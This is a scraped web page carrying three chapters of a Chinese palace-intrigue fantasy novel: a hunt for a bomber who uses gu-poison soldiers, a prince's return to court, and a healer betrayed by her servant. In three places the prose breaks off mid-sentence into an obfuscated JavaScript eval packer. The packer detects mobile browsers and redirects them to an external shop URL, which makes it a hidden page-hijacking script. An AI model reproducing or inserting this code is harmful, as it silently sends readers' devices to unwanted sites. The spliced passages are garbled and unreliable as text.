“到底会是什么事,值得父王把辰弟赶去漠北三年都不让他回来?”淑宁心里实在是想不明白,既然父王母妃都对自己绝口不提,那么只能由她自己去查了。 ...... 城门爆炸一事震怒朝纲,整座京城的百姓议论纷纷,叶肃为了炸毁整座西晋城不禁派蛊人往城内扔炸弹的消息意外传了出去,现如今西晋城内的百姓,官员对此都感到极其的惶恐。 宇文渊大怒,命陆邈十日之内必须找到叶肃此人,要不然就革除官职,发配宁古塔。城内如今到处都贴满了叶肃的画像,官兵们对城内的百姓正在地毯式的排查,连续搜寻了三日,连滴水花都没有。 “大人,这都第三天了,你怎么看上去一点都不着急呢?”萧乘风心急如焚,他们已经在城内排查了三天,叶肃以及他的乱党们什么都没有查出来,照这么下去,等到第十日的时候,能够抓到叶肃吗? “把叶宏吊在城门口,我就不信了,叶肃看到他儿子会不出现?” “是。” 时间一秒一秒的过着,如今只能利用叶肃的家人来逼迫他现身,陆邈眯着双眼,眼皮耷拉着,三日未眠,整个人身上多了几分戾气,当日给自己通风报信的那个女人到底是谁呢? 这几日寻找叶肃的同时,陆邈也派人在城中暗自寻找那个女人,但是都一无所获,真是奇了怪了,这个人就像凭空出现一样,紧接着又凭空消失了,一点痕迹都没有。 她会不会和叶肃有牵扯呢?要不然怎么会提前知道这么多事? 陆邈来到城楼上,对着城内外大声喝道:“叶肃,我知道你就在这附近,你的儿子叶宏如今在我的手上,日落之前,你要是再不现身,你的儿子就会人头落地。” 他环顾四周,依旧没有发现一丝可疑人士。 此时,离城楼不远处的一个卖菜的摊贩双眼正炯炯有神的盯着陆邈的一举一动。 “老伯,好久没见你,你又出来卖菜了?”一巡视官兵路过菜摊,笑道:“老伯,前段时日你不是说要给你儿子娶媳妇,怎么,媳妇娶了没?” 老伯笑了笑,一脸窘迫,“哎,别提了,谁家闺女能够看得上我家那个不争气的儿子啊?” 他一边说眼神却不经意飘向城楼上那个用铁笼关着的披头散发的叶宏问道:“那个人是谁?今早我就见到他被挂在城楼上一动不动的。” “他是死了吗?” 巡视官兵笑道:“那个人啊,听说他不是个人,原本他是一家富贵人家的少爷,但却被他老爹炼制成为了蛊人。” “哎......” “可怜,可见富贵人家的少爷也不是那么好当的,还是我们这种普通的老百姓好。”他摇了摇头,转头对着老伯说道:“老伯,你切记要离那个人远点,要不然,怎么死的都不知道。” “此话怎么说?”老伯佝偻着身子,从菜篮子里拿出几把白菜,递给巡视官兵。 巡视官兵眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶肃没有前来相救,叶宏继续留着也起不了什么作用,都说虎毒不食子,没想到,叶肃此人居然连野兽都不如,陆邈站在城楼上站了许久,微风拂过,今晚的风却让他感受到了一丝寒意,那是一种心寒。 自从发生了谢信那件事情以后,萧乘风看上去成长了不少,不再像以前那样感情用事了,关于这一点,陆邈感到很欣慰。 欣慰的同时但也伴随着些许心痛,他明白,成长都是需要付出代价的,如果可以,他到宁愿萧乘风可以一辈子简简单单,单纯快乐,但是人生哪有那么好的事。 他总是得长大,与其让他在外面去经历一些磨难,到不如让自己直接去打破他的幻想,虽然这么做有的时候看似很残忍,但总比让他在外面被人折磨搞得自己伤痕累累要好,这是陆邈作为萧乘风的师父教给他的第一课。 陆邈太清楚不过了,作为跟随在王上身旁十年之久的人来说,王室成员之间的尔虞我诈他见过太多,轻则倾家荡产丧失所有,重则全族被灭丢失性命,就连那些记录着王室兴衰的史书也都是由胜利者书写的。 所以当他第一次见到萧乘风那张没有经历过风霜摧残的笑脸之时,陆邈同时也想起了自己年轻时候的意气风发,少年之气不再生,如今人到中年,陆邈这才算是真正的看明白。 “散了吧。”陆邈再次朝着远方看去,突然觉得自己对西晋的未来感到再次迷惘,寒冬将至,虽然明面上看上去一副欣欣向荣,但其实内在却早已腐朽没落,大厦将倾,风雨即将到来。 城楼上灯火通明,可是他的心底却始终忐忑不安,他暗自发誓,一定不会让这次的事件再次重演。 “叶肃,我一定要抓到你。” 正当他在冥思苦想之际,远方不知是何人,正在向城楼这边踏马而来。 “开门,快开门,七殿下回来了......” “七殿下宇文辰回来了?”陆邈看着远方踏马而来的宇文辰,心中一阵感慨万千,看来风雨比自己所想的要来得更加早一点。 王上瞒着所有的臣子们私底下把七殿下从漠北召回,陆邈心里大概也已经猜到了,王上想借助宇文辰背后的莫家对王后背后的曹氏一族进行制衡,纵观朝局,太子已倒,其背后的王氏一族也随之没落。 曹氏一族如今一族独大,再加上曹氏之女又是一国之后,其子也是身份显赫的七株亲王,在众臣子的眼中,端亲王是稳稳的太子人选。 一切看似完美,可咱们这位君王却偏偏身心多疑,他怎么可能会容忍曹氏一党在朝中耀武扬威,陆邈笑了笑,心中觉得讽刺,当年宁王的下场何其惨烈,他什么都没有做错,却偏偏被人安上了一个叛国罪臣的罪名,全族惨遭屠杀葬身火海连尸骨都没有。 更何况现如今的曹氏,曹氏野心勃勃在朝中众人皆知,王上怎么可能不知道这些,只不过这么多年一直利用太子在对其进行制衡,现如今太子已死,可以说太子之死的背后一定和曹氏脱不了关系。 太子死了,曹氏的野心只会让身为帝王的宇文渊感到更加的忌惮,七殿下宇文辰的回归已经打响了第一枪,曹氏如今只不过是自己搬起石头砸了自己的脚。 “开门。”陆邈心里觉得有些悲凉,只要身在王城,这些官场之上的明争暗斗就避无可避,他恍惚之间感到心累。 “是,大人。” 看着那队战马从远方汹涌奔腾而来,势如破竹般,陆邈知道,今夜注定了会让许多人无眠。 43. 奖赏 “阿姐,我回来了。”宇文辰人还未进屋,声音就已经传了进来。 一清早,淑宁就听闻辰弟于昨日夜间抵达京城,前几日她还在为了辰弟回来之事前去向父王求情,谁曾想,父王这么快就同意让辰弟回来,不过仔细算来,这时间上却有些对不上。 漠北离京城距离遥远,寻常马车前往都要历经一个月左右,辰弟就算快马加鞭的赶回来大约也要十日左右,而如今距离淑宁前去替宇文辰求情才过了不到五日,辰弟居然就回来了。 淑宁想了想,有且只有一个可能,那就是父王早已经私下传旨要宇文辰回来却偏偏瞒着众人,父王到底想做些什么? “阿姐,我回来了,从今以后我再也不会让任何人欺负你。”宇文辰看了看坐在轮椅上的淑宁,神情极为愤怒:“我一定会找到给阿姐下毒之人,让他不得好死。” “阿辰,姐姐如今很好,你不用太过于操心,也不用再为我做任何事了。”想起要是让辰弟知道给我下毒之人是沈雨菲,依照辰弟的脾气,怕是会闹得一发不可收拾,这不是淑宁想看到的。 自小母妃就对辰弟十分溺爱,让他有的时候出手不知轻重。 几日前,淑宁派人前去查询辰弟当年到底所犯何事,父王为什么要把他罚往漠北三年,让他静思己过,这一查,居然查出了原来辰弟当年把马太尉的儿子马梁的命根给切掉了,淑宁听闻此事的时候,大吃一惊。 “阿姐,你怎么了,我回来了你难道不高兴吗?”宇文辰看到淑宁的反应,眼底有些失望,原以为自己突然出现在阿姐的眼前,她会很兴奋的拉着他的手,然后问寒问暖的,谁曾想看阿姐的表情,反而是一脸沉思。 淑宁抬头看着阿辰,原本以为父王让辰弟前往漠北是为了锻炼他磨练他的意志,谁曾想居然是为了让他逃离京城,避免遭到马家的迫害,如今马家早已经卸甲归田,马梁也不知去向,京城之中再也没有人能够伤害到辰弟了。 她无奈的笑了笑:“阿辰,阿姐问你,当年你为何要马梁的命,你知道那个东西对于男子来说的重要性,如果没有了等同于杀了他。” “你是要他断子绝孙吗?” “哎,阿姐,我以为是什么事呢?原来是这事啊。”宇文辰一脸无所谓的表情,笑道:“这都是往事了,都过去了,父王都已经替我给解决了,阿姐你就不用担心这些了。” “宇文辰。”淑宁大声喝道:“父王母妃替你善后,你觉得此事很光荣吗?” “漠北三年你到底学了些什么,怎么脑子还是如此愚蠢?” “阿姐。”宇文辰心里感到委屈至极:“昨日半夜一回来我就去宫内觐见了父王,连母妃都还未曾去拜访就先来看望阿姐了,怎么一来,阿姐不问问我这三年过得如何,反倒是替外人说话呢?” “不就是一个落魄臣子家的儿子嘛?如今父王已经让他们告老还乡了,阿姐这事父王都不说什么,阿姐为何偏偏揪着不放?”宇文辰一阵叽里呱啦娓娓道来。 “为了奖赏我在漠北这三年所做出的贡献,父王已经封我为五珠亲王了。” “父王封你为五珠亲王?”不知怎么回事,要是放在以往,淑宁肯定是为辰弟感到开心的,但自从自己身中剧毒双腿瘫痪以来,她见惯了人世间的人情冷暖。 “阿辰,父王既然封你为五珠亲王那肯定是十分看重你的,你记得要好好表现,切不可再次让父王失望。” “知道了,阿姐。”宇文辰心里想了想,就知道阿姐听到这个消息一定会为他感到高兴的。 只是可惜,阿姐的双腿不知什么时候才能够恢复,宇文辰心里暗自发誓,一定要把毒害阿姐的人给找出来,他看着淑宁落寞的身影,心里觉得不快,阿姐如今变成这样都是这个人害的。 他要把这个人找出来,让这个人求生不得,求死不能。 看着辰弟如今意气风发的模样,淑宁的心里居然觉得有些担忧,父王瞒着所有臣子背地里把辰弟召回京城,并对他进行嘉奖封辰弟为五珠亲王淮王,这背后暗藏着诸多的算计,淑宁以前看不明白,现在经历了这么多事后,难道还看不明白吗? 父王是想利用辰弟背后的莫家势力与王后背后的曹氏势力达到相互制衡的目的,说白了又何尝不是一番利用? 身在皇家,对前朝后宫之中的尔虞我诈早已司空见惯,淑宁脸上虽然挂着微笑,但内心深处却早已经千疮百孔了,“父王,你到底有没有爱过我们,有没有把我们当作过你自己的孩子?” 自小大家都说王上对淑宁公主有求必应,定是十分喜爱她的吧,但直到此刻,淑宁才恍然大悟道:“身处皇家,又怎敢奢望民间那些平凡的亲情与温馨呢?” 她再次抬头看了看宇文辰,脸上依旧挂着淡淡的笑容嘱咐道:“辰弟,做任何事情都要三思而后行,不要去做自己不擅长的事情,知道了吗?” “晓得,晓得。”宇文辰也笑了笑,“阿姐,你就安心养好身体吧,既然我已经回到了京城,就会把属于我的东西都夺回来,我不会再让你和母妃受苦了。” “我们一家终于团聚了。” 他叹了口气,他明白,当然明白,舅舅早就已经嘱咐过他,倘若他想保护阿姐保护母妃,那么他就必须去争夺,去夺取这个世上至高无上的权力,只有拥有了这至高无上的权力,他才能够保护他想保护的所有人。 “阿姐,你先好好休养,我要进宫去探望母妃了,有空我再来看你。”他对着宛心使了个眼色后,便转身离开了。 “这个阿辰,去漠北磨练了三年为何做事还是这样毛毛躁躁的,像个没长大的孩子般。”淑宁摇了摇头,既然辰弟已经回来了,那么我也必须为自己为辰弟以及母妃好好的谋划一番了。 “那是因为小王爷把公主当作家人一般看待,只有在家人的面前,才会露出这样童真的一面。”宛心笑着劝慰。 “是这样吗?”淑宁看着宇文辰远去的身影,悬着的那颗心始终放不下来,总觉得最近会发生什么大事一般,让人琢磨不透。 今日辰弟加封亲王的消息必定将会传遍朝野上下,想必也会传到王后以及端王的耳里,淑宁此刻都可以想到王后和端王气急败坏的神情。 “即使太子哥哥下台,父王也不会让二哥坐上太子之位。” 这一点淑宁早就已经看明白了,为何王后却始终看不明白呢?功高震主,树大招风可不是一件什么好事。 既然父王有心把辰弟抬上了淮王的位置,那么辰弟和莫家嫡女莫嫣然的婚约算是走到明面上了,有莫家作伴,又何尝将来辰弟不能去和宇文修争一争呢? 再说了,宇文修那个蠢货,自视甚高,仗着自己母后是王后,舅舅是国舅爷就不把他们这群人当回事,淑宁对此人早就已经看不顺眼了。 只不过由于以前曹家势大,以前淑宁见到他们都得礼让三分,可是现如今,辰弟也当上了亲王了,背后又即将与莫家联姻,未来之事,谁又知道呢? “既然如此,那本宫为何不放手一博呢?” 搏一搏也许还有一线生机,倘若不博的话,以后怕是一直会被他们这群人骑在头上,永世都不得翻身了。 ...... 雪微最近一直在暗中查找叶肃的下落,这人十分疯癫,自从上次炸毁西晋城失败之后就消失得无影无踪,说不定暗中他还会做出更加疯癫的事情。 按照她对叶肃的了解,京城的各个角落都进行查找了一遍,确实没有发现叶肃的身影,难道叶肃真的不在城内,雪微仔细想了想,“不对,以叶肃不达目的誓不罢休的性格,是绝不会就此放弃的。” “难道他在酝酿着更大的阴谋?” “少宫主,淑宁公主今日派人前来白氏医馆找你,属下已叫人回禀,说你去深山采药去了,过几日才能回来。”红袖说道。 “这离下次会诊的时间还有半个月左右,淑宁这就派人前来找我,难道是她的腿又出现什么问题吗?”雪微心里想了想:“应该是不可能。” 上次治疗的时候,雪微给淑宁的腿中打入了钢针,她每走一步,钢针都会在她的腿中摩擦使其疼痛难忍。 “我知道了,你先下去吧。”最近自己也不知道怎么了,看着自己离复仇的目标越来越近,雪微的感受却不是兴奋,“复仇怎么可能会兴奋呢?如果可以,我倒想我的亲人都回来,一切都没有变。” 看着空荡荡的屋子,即使摆满了花草,也终究换不回来往日那些笑脸。 “你在发呆?” 十一依旧向往日一样从雪微的身后走了出来,自从被雪微知道了自己的身份以后,他来的时间反而更加的勤勉,也不遮遮掩掩了。 “你怎么来了?”雪微看着十一,摘下面具的他看起来反而更加的俊朗。 “我来告诉你一个好消息。”十一顿了顿,“还有一个坏消息。” “你想先听哪个?” 雪微翻了个白眼,一脸不屑,这人总是这样自讨没趣,“随你便,爱说不说。” “那怎么行?” 十一打趣道:“你真的不想知道叶肃在哪里?” “你知道?”这人说话虽然总是不着调,但却十分靠谱,不过,我都没有查出来的事情,他却查了出来,可见此人绝不像表面上看上去的那么纨绔,雪微心想:“叶肃如今藏在暗处还不知道会做出什么事来,现如今还不是赌气的时刻。” 她抬眼看着十一,“此事可开不得玩笑。” “我不知道。” 雪微一脸不屑的打量着十一,这人脑子是抽筋了吗?居然敢拿这事在她的面前开玩笑,怕是嫌活得不耐烦了吧。 “但有一个人知道。”十一看着雪微,脸上依旧挂着微笑。 “谁?” “叶宏。” “叶宏?”雪微叹了口气,笑道:“你是在跟我开玩笑吗?叶宏不是被陆邈杀了吗?” “叶宏没死。”十一故作深沉,“陆邈根本就没有杀死叶宏。” “叶宏没死?那城楼上挂着的那个和叶宏长得一样的头颅又会是谁?”雪微恍然大悟道:“你是说,城楼上那个长得类似叶宏的人头是假的?” “人头不是假的,但那人并不是叶宏,而是一个死刑犯被易容成了叶宏的模样,以此欺骗叶肃的。”十一说的有模有样,那晚他就在那附近,看得十分的清楚。 陆邈用一个死刑犯把真正的叶宏替换了下来,对外说,叶宏当场被杀,并把那个死刑犯的头颅悬挂在城楼上。 当时十一还觉得奇怪,那后来仔细想了想,原来陆邈是准备利用叶宏做局想让叶肃现身,但他却把叶肃此人想得太过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892865|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于重情了,没想到此人竟连自己亲儿子都不在乎。 “原来如此,我知道了。”雪微一脸笑意:“既然叶宏没死,那么就可以利用叶宏的血引出叶肃的藏身之地。” 十一点头,雪微看向十一,心里总觉得他不会如此好心:“那坏消息是什么?” “坏消息......”十一道:“没有人知道陆邈把叶宏藏在哪里。” “你想让我去查出叶宏的下落?”这人果真是诡计多端,把我推出去,自己反而躲在背后操控着这一切。 “我既然都已经提供了消息,那找出叶宏下落的人当然是你。” “行。”雪微继续问道:“不过你与叶肃之间到底有什么仇恨?你真的是因为帮我吗?” “我可不信。”她笑了笑,自认为对十一还是有些了解的,此人绝不会做与自己利益无关之事。 “你爱信不信。”十一转身,脸上的笑容渐渐隐去。 这个女人太过于聪明了,但是聪明反被聪明误,我与叶肃此人并没有什么仇恨,只不过是因为看他觉得碍眼而已。 锦瑟自从那次消失了几日回来之后,整个人不知怎么的就变得恍恍惚惚,雪微每次叫她都要叫上好几次她才会反应过来。 “锦瑟......锦瑟......” “少宫主,你有什么事?”锦瑟放下洒水壶,擦干手上的水渍之后,走了过来:“少宫主,你找我有什么事?” “奥,没什么事。”看锦瑟这几日的神情,雪微总觉得她心里似乎有什么事在瞒着自己,她与锦瑟相处了五六年了,从未见过她会像这样如此的坐立不安。 “到底会是什么事,会让锦瑟如此忐忑呢?”雪微心里想了想,既然她不愿意告诉自己,那一定有她的道理。 雪微回到案台前写了一封信递给锦瑟,并嘱咐锦瑟一定要把这封信交到陆邈的手上,子蛊与母蛊之间血脉相连,叶宏既然是子蛊,自然可以利用叶宏身体里的蛊血指引出母蛊的具体位置。 按照雪微所想,母蛊蝶衣衣所处的位置一定会是叶肃的老巢,叶肃是不会轻易放弃他的蛊人大军计划的。 一日,两日,三日,距离第十日还剩下两日了,镇妖司内并没有任何动静,雪微觉得奇怪,难道那封信没有送到陆邈的手中吗? 她叫来锦瑟,再次问道:“锦瑟,上次我叫你送的信你送到陆邈手中了吗?” 锦瑟点头:“送到了。” “真的送到陆邈手上了?”雪微心里有些质疑,不应该会这样啊,陆邈既然救下了叶宏,那么肯定有他自己的用途,如今雪微把这个消息告诉陆邈,他难道不是应该利用叶宏找出母蛊以及叶肃的老巢吗? 怎么如今却一点动静都没有,雪微有些坐立不安起来,总觉得似乎会有一场大事即将要发生。 锦瑟抬头看了一眼雪微后又赶紧把头低了下去,她有些心虚,三日前少宫主叫她送一封信送到镇妖司陆邈的手中,但她并未按照少宫主的指示前往镇妖司,反而是把这封信送到了尊主的手中。 与少宫主相处的几年,锦瑟自认为少宫主待她极好,但是一步错步步错,本来按照他们的计划,叶肃炸毁西晋城之后,锦瑟协助少宫主攻进王宫杀掉王上,这样尊主既可以一统天下,少宫主也可以为父报仇,一举两得,何乐而不为呢? 可是少宫主偏偏为何就心软了,既然猜出了叶肃的谋划,并且还把这个消息透露给了陆邈,锦瑟本想阻挡,但奈何少宫主一意孤行,无奈之下,只能救出叶肃,再另谋出路。 这事被尊主知道了以后,尊主震怒,并把锦瑟关在了水牢两日,冥狱的水牢那可是十分的可怕,进去了之后,暗无天日,只能听见滴答滴答的声音,而且水牢里面还有水蛭一样的吸血魔物。 它们会趁机占入你的身体,并在血液中轮回流转,直到吸满鲜血之后才会占出来,吸血只是其中一项,令人更加感到恐怖的是,它们在人身体里剧烈的游走,会让人时刻濒临在死亡的边缘徘徊,要死不死的。 那样的感觉让锦瑟觉得每一秒活着都想死去,“少宫主,对不起,不是我想背叛你的,是你先背叛了我们的计划。” 七年前,她被尊主安排进入了七杀殿,从那一刻起,她就化身成为了七杀殿之中的杀手,后来她又被安排到少宫主身旁,监视着少宫主的一切举动。 但与少宫主相处久了,锦瑟渐渐对雪微产生了不一样的感情,在知道了雪微想要复仇之后,她站了出来。 “我宁愿成为你手中的刀刃也不想伤害你,少宫主,你是在这个世上除了我妹妹以外我最爱的人。” “可是妹妹在尊主的手中,我只能对不起你了。” “等我救出了妹妹以后,你要打要杀,悉听尊便。” 锦瑟再次回头看了看望月轩三个大字,眼眶之中含满了热泪,不舍与愧疚在她的内心割裂开来。 “是时候该离开了,不要心软,为了妹妹,让我做什么都可以。” 她强忍着不让泪水滑落,“少宫主,此次一别,也许此生终不会再见。” “请你原谅我,我是爱你的,但我必须回去,回到那个冰冷刺骨没有一丝人情味的地狱,只有这样,我的妹妹才是安全的。” 她想起了与雪微像家人般相处的这五年,像是偷来的一场梦。 44. 炸毁 “听说了吗?昨日夜间镇妖司内发生了巨烈的爆炸声,听说整个镇妖司府门都被炸没了。”雪微今早来到药铺便听到街上的百姓们议论纷纷。 “昨日夜间大约在睡梦中我就听见空中传来一声巨雷,当时瞬间便把我给惊醒了。” “哎,也不知道是什么人胆子居然这么大,胆敢炸毁整个镇妖司与朝廷为敌?” 百姓们越说越玄乎。 自从雪微发现锦瑟有些不对劲便暗中进行观察,结果还是如她所料想的一般,那日雪微在信上写了小心叶肃几个字之后便把信交给了锦瑟并叫她送到镇妖司陆邈的手中,可惜锦瑟并没有听从她的吩咐把这封信送到陆邈的手上。 说实话,看到锦瑟把那封信交给叶肃的时候,雪微有些吃惊,她怎么也没有想到锦瑟为什么会和叶肃有勾结,按照七杀殿的规矩背叛者只有死路一条,可是锦瑟与她一起相处了五年多,雪微心中实在是有些下不去手。 放她一条生路是雪微最后能够为她做的事情了,就当是为了这五年多的陪伴做了最后的终结吧。 随后她又来到镇妖司,放下信就准备离开的,此时,陆邈从黑暗中走了出来。 “我在此地等你很久了。” “你,到底是谁?” 雪微转身,盯着陆邈的鬼面看了许久,笑道:“再过两日就是第十日了,大人不抓紧时间去寻找叶肃,反到关心起我来了。” 陆邈拆开信封打开看了看,空气顿时陷入死寂,静得连根针掉到地上都能够听得见。 “你怎么知道叶宏还活着。”他沉声道:“你监视我?”叶宏还活着的消息镇妖司内无人知道,他连萧乘风都没有告诉,这个女人又是从哪里得知这个消息的? 陆邈心存疑惑,实在是有些不解。 “监视?”雪微冷冷的笑道:“陆大人,你把我想得也太不堪了吧。” 她又说道:“我只不过是碰巧撞见罢了。”十一上次对她就是这么说的,她只不过是原封不动的又再次把这话告诉了陆邈。 “碰巧?”陆邈觉得有些好笑,这个女人说谎的本事倒是很有一手,一次是碰巧,两次难道还是碰巧吗? “那这次又是怎么回事,你说叶肃会炸毁镇妖司?”他拿着这封信对着雪微问道。 自从有了上次城楼被炸事件,京城的治安便严格了起来,进进出出的人都要进行排查,如今这个女人说叶肃又会故技重施,这次不是炸毁西晋城而是想炸毁镇妖司? 陆邈感到疑惑不解,难道她真的有未卜先知的能力吗?怎么事事都提前知道呢? “信不信由你,反正我该说的已经说了,至于你做不做又是另一回事。”雪微想起来那晚她跟随锦瑟却意外碰巧看到锦瑟和叶肃进行对接。 叶肃对着锦瑟说三日后,也就是王上对陆邈规定的十日大限的最后一日,要炸毁镇妖司,彻底断了王上对陆邈的信任。 镇妖司要是再被炸毁,王上一定会大怒,说不定会罢免陆邈,把陆邈流放到宁古塔,雪微心里想了想,叶肃此计果真是一箭双雕,这样既砍掉了宇文渊的左手,又再次让京城百姓陷入恐慌之中,说不定还会引起暴乱。 雪微虽然仇恨宇文渊,但实在是不想眼睁睁的看着京城的百姓陷入恐慌之中,迫不得已只能再次选择跟陆邈合作。 “我信。”陆邈看着雪微诚恳说道:“不知怎么的,我总觉得你没有什么恶意,不管怎么说,上次城楼一事还是要多谢你了。” “我明明已经把叶肃要炸毁镇妖司的事情告诉了陆邈,可是为何镇妖司还是被炸毁?”雪微也有些想不明白,难道是陆邈根本就没把我的话放在心上,或者说他自始至终都没有相信叶肃会有能力炸毁镇妖司? “不管了,今日还要去给淑宁公主诊断。”雪微拿起药箱便朝着公主府走去。 “最近京城动荡不安,白大夫出门之时要记得小心,要是碰到什么解决不了的事情,记得一定要派人告诉本宫。”淑宁拉着雪微的手苦口婆心的说。 这让雪微觉得有些恍惚,眼前这个人和她以前认识的淑宁简直是判若两人,难道她在床上躺久了,人反倒性格变了? 也是,任谁生这样一场大病,能够不变呢?毕竟亲眼见到身边之人一个个的远离并且用异样略带同情的眼神看着自己,这样的感受对高高在上的公主来说,无疑是致命的打击。 雪微微笑的点了点头:“草民知道了。” “不要草民草民的叫,你治好了本宫的双腿,对于本宫来说,犹如姐妹,要不你当本宫的妹妹吧。”淑宁脸上依旧挂着温柔的笑意。 雪微摇头:“草民不敢,公主是皇族,草民只不过是一届布衣,怎么敢跟公主以姐妹相称呢?要是被别人知道了,一定会给草民治个不敬之罪。” “本宫看谁敢。”淑宁说道:“你放心,有本宫在,没有人敢为难你的。” 她掏出一块令牌递给雪微,并且说道:“这是本宫的令牌,见到此令牌犹如公主亲临,你放心,从今以后有本宫罩着你,没有人胆敢对你不敬。” “这......” “拿着。”淑宁把此令牌放到雪微的手上,说道:“本宫初次见到你就觉得你很亲切,是真的很喜欢你。” “那就,多谢公主了。”雪微有些受宠若惊,即使你对白大夫再好也终究抵消不了你曾经所做下的恶事。 淑宁满意的点了点头,脸上依旧挂着淡淡的笑容问道:“白大夫,你叫什么?” “草民叫白冉。” “不要在草民草民的叫了,以后没有人在的时候就喊本宫姐姐。” “姐姐......” “这样就对了。”淑宁叹了口气,眉眼带笑的看着雪微,此人医术了得,连太医院太医都摇头治不好的双腿,她居然可以治好,这样的人才留在民间,真是浪费了。 身为女子太医院是去不了了,不过倒不如跟随在本宫的身边做一名医女倒是不错。 “如今七殿下被封为亲王,姐姐记得要保重身体,以后可要享福了。” “你知道了?” “七殿下被封为五珠亲王的事情早就已经在民间传得沸沸扬扬的,去街上一打听就知道,妹妹自然也是知道的。”雪微看着淑宁脸上洋溢着的笑容就知道此刻的她正沉浸在这样一份欢悦之中。 “哎......”淑宁叹了口气:“没想到辰弟居然这么争气,真的被加封为亲王了。” “姐姐如今苦尽甘来,七殿下未来可是前途无量。” “那是自然。” ...... 从公主府出来以后雪微便刻意从镇妖司门口路过,由大门往内看,确实像似被炸毁了不少,至于里面发生了什么,具体情况却没有人知道。 围观的百姓以讹传讹,为了避免引起争议便把大门给围了起来,并没有人能够看到里面的真实情况。 “阿姐。” “小峰。”雪微听着声音觉得异常熟悉,便转身朝后方看去,刚好看到小峰正骑着马朝着她走来。 “街上人多口杂,不是说话的地方,阿姐请跟我来。” 二人同乘着一匹马,踏马前行,不过一会儿便来到一处山峰之上。 “阿姐还记得这里吗?” 雪微环顾四周,看起来确实有点眼熟,但仔细回想记忆之中并没有这个地方,她不明白小峰为何要把她带到这里来,心里充满了不解。 “这里是阿姐当年坠崖的地方。”林江转头看向了另一边,继续说道:“当年姐姐坠崖之后,我以为姐姐死了,便在那里给姐姐建了一个衣冠冢。” “衣冠冢?”自从坠崖之后雪微便再也没有来过这里,想不到小峰居然这么细心,竟连衣冠冢都给她建好了,“当年你听到了我的死讯是不是很痛苦?” “这十几年来,你一个人又是怎么度过的?”雪微难以想象小峰一个人四处漂泊,无处落脚,心里就觉得愧疚。 “其实也还好啦。” 林江鼻头酸了酸,深吸了口气:“刚开始听到阿姐死讯的时候,自然是难受的,不过后来从一个神秘人口中知道啦阿姐掉下悬崖边没有死,内心只期盼和阿姐能够有重逢的一天。” “神秘人,又是神秘人?”雪微问道:“小峰见过这个神秘人的样貌吗?” 林江摇头,“那个神秘人一直头戴着面纱,根本就从来没有以真面目示人。” 说来也是奇怪,小峰遇到了神秘人,沈雨菲也是遇到了神秘人,他们二人之间所遇到的那个神秘人到底会不会是同一个人呢? 当年调查沈雨菲资料之时,偶然发现她自从离开宁王府之后便隐姓埋名,后来受到了一个神秘人的资助,在永安偶遇当时在民间考察的太子,后来便跟随着太子宇文昭回到了京城。 这一切太过于巧合了,如果这两个神秘人都是同一个人,那么他不仅知道雪微没死,还暗中劝说小峰从军,甚至还帮助沈雨菲重回京城。 他到底想做什么? 如果这两个人不是同一个人...... “阿姐,当年那个神秘人告诉我阿姐还活着的时候,我也曾觉得奇怪,还以为那个人就是救阿姐之人呢?要不然怎么会知道阿姐掉下悬崖没死?”林江细细回想起来,确实有着诸多可疑之处,只不过当年由于自己太过于悲伤并没有仔细去深思。 “当年救我之人,是师父?”小峰的话像根针一样刺入雪微的脑海中:“确实,也许是师父觉得小峰可怜,把我还活着的消息告诉了小峰呢?” “这一切也是有可能的。”雪微觉得自己最近思虑有些过多,心里自责道:“我怎么能把师父和神秘人联系到一起呢?师父是救我命的恩人,我不应该这么想的。” “当年我被沈雨菲推下悬崖之后,被路过的师父所救,后来全身骨折在床上躺了半年之久。”雪微回想起那段无法动弹的日子,内心深处就觉得绝望,那是她离死亡最近的一次。 她摸了摸衣冠冢上面刻着的字迹,林雪微之墓?雪微看着墓碑上的字就觉得可笑。 “阿姐如今既然已经回来了,那这衣冠冢自然也就......” “留着吧。” “就这样的留着。” “好,阿姐说留着那就留着吧。” 林江继续支支吾吾道:“我还有一个消息想要告诉阿姐。” “你想跟我说什么?”看着小峰忐忐忑忑想说但又不说的神情,雪微觉得有些好奇。 “叶肃死了。” “???” “你说谁死了?” “叶肃。” “我没听错吧,小峰说叶肃死了?”看着小峰的神情不像是开玩笑的模样,雪微问道:“叶肃是怎么死的?” “被叶宏咬死的。”林江想起叶宏咬断叶肃脖子的那个场面就觉得震惊,还好没让阿姐亲眼瞧见,要不然简直就是一场噩梦,真是个怪物。 这也难怪了,难怪叶肃的亲儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892866|192250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子叶宏仇恨他的,毕竟把叶宏变成这样的人正是叶肃。 听完小峰的话,雪微顿时明白过来了,“镇妖司爆炸是陆邈和你共同策划,目的就是为了引出叶肃,对吗?” “阿姐真是聪明,我刚准备说就已经被阿姐猜到了。”林江一脸自豪的神情,从小到大都没有为阿姐做过什么事,现如今总算是替阿姐解决了一个麻烦,他终于觉得自己有了点作用,能够帮助到雪微。 